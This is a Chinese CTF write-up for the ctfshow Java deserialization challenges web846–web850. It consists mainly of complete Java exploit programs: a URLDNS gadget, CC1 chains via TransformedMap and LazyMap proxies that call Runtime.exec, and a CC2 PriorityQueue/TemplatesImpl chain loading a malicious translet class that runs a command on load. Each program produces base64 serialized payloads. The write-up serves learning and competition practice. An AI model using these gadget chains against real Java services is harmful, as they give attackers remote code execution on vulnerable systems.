ctfshow-java反序列化专题：持续更新...
·
web846：
具体分析可以看下这篇文章：
exp:
package org.example;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.util.Base64;
import java.util.HashMap;
public class web846 {
public static void main(String[] args) throws Exception {
URL url = new URL("https://8c9c044d-efce-4896-9894-fda51f7e3054.challenge.ctf.show/");
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
Class urlclass = URL.class;
Field hashCodeField = urlclass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 123);
hashMap.put(url, 123);
hashCodeField.set(url, -1);
Serialize(hashMap);
// 从文件读取并转换为Base64
String base64Data = getBase64FromFile();
System.out.println("Base64 encoded serialized data:");
System.out.println(base64Data);
}
private static void Serialize(Object obj) throws Exception {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
oss.close();
}
private static String getBase64FromFile() throws Exception {
File file = new File("ser.bin");
byte[] fileContent = Files.readAllBytes(file.toPath());
return Base64.getEncoder().encodeToString(fileContent);
}
}
再进行一次url编码即可：
web847：
这里用的是cc1:
命令无回显
exp:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class web847cc1 {
public static void main(String[] args) throws Exception {
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method m = c.getDeclaredMethod("exec", String[].class);
// m.invoke(r,"calc");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"ls"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","Rsecret2");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, transformedMap);
serialize(o);
// unserialize(o);
// 从文件中读取并转换为Base64
String base64Data = getBase64FromFile();
System.out.println("Base64 encoded serialized data:");
System.out.println(base64Data);
}
private static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize(Object obj) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
private static String getBase64FromFile() throws Exception {
File file = new File("ser.bin");
byte[] fileContent = Files.readAllBytes(file.toPath());
return Base64.getEncoder().encodeToString(fileContent);
}
}web848:
应该也可以用cc3
Java反序列化-cc3链挖掘复现（个人学习笔记）_cc3反序列化-CSDN博客
exp:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class web848cc1yso {
public static void main(String[] args) throws Exception {
// 定义一个Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
// 将Transformer链与LazyMap进行装饰
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
// 使用反射获取AnnotationInvocationHandler的构造方法
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
// 创建InvocationHandler实例
InvocationHandler innerhandler = (InvocationHandler) annotationConstructor.newInstance(Override.class, lazyMap);
// 创建动态代理
Map<?, ?> mapProxy = (Map<?, ?>) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, innerhandler);
// 创建最外层的对象
// 创建InvocationHandler实例
InvocationHandler outhandler = (InvocationHandler) annotationConstructor.newInstance(Override.class, mapProxy);
serialize(outhandler);
unserialize(outhandler);
// 获取Base64编码的序列化数据并打印
String base64Data = getBase64FromFile();
System.out.println("Base64 encoded serialized data:");
System.out.println(base64Data);
}
// 序列化对象并保存为文件
private static void serialize(Object obj) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"))) {
oos.writeObject(obj);
}
}
// 反序列化对象
public static void unserialize(Object obj) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"))) {
ois.readObject();
}
}
// 从文件读取内容并返回Base64编码的字符串
private static String getBase64FromFile() throws Exception {
File file = new File("ser.bin");
byte[] fileContent = Files.readAllBytes(file.toPath());
return Base64.getEncoder().encodeToString(fileContent);
}
}
web849:
题目介绍说了 可以用cc2：
Java反序列化-cc2链挖掘复现（个人学习笔记）_cc2利用链复现-CSDN博客
exp:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;
public class web849cc2 {
//
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
//_name
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "Rsecret2");
//_bytecodes
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\classTest.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(3);
Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
String sbase64 = getBase64FromFile();
System.out.println(sbase64);
unserialize("ser.bin");
}
//序列化
private static void serialize(Object obj) throws Exception {
ObjectOutputStream oss = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oss.writeObject(obj);
}
//反序列化
private static void unserialize(Object obj) throws Exception {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
ois.readObject();
}
//从文件读取内容并返回Base64编码的字符串
private static String getBase64FromFile() throws Exception {
File file = new File("ser.bin");
byte[] fileContent = Files.readAllBytes(Paths.get("ser.bin"));
return Base64.getEncoder().encodeToString(fileContent);
}
}
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class classTest extends AbstractTranslet {
static {
try{
Runtime.getRuntime().exec("calc");
} catch (IOException e ){
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
web850:
exp:
腾讯云面向开发者汇聚海量精品云计算使用和开发经验，营造开放的云计算技术生态圈。
更多推荐
4
0- 0
已为社区贡献1条内容
所有评论(0)